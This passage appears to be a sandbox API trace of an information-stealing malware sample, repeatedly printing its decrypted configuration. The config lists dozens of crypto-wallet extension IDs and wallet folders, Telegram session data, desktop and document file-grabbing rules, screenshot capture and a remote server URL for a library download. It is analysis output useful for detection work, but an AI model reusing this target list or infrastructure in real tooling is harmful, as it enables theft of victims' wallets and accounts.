Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4712 [0259.346] lstrlenW (lpString="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4712 [0259.346] LocalAlloc (uFlags=0x40, uBytes=0x24d0) returned 0x6b9720 [0259.346] lstrlenW (lpString="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4712 [0259.346] LocalAlloc (uFlags=0x40, uBytes=0x24d0) returned 0x6bbbf8 [0259.346] lstrlenW (lpString="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4712 [0259.346] LocalAlloc (uFlags=0x40, uBytes=0x24d0) returned 0x6be0d0 [0259.346] StrStrW (lpFirst="ews_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension 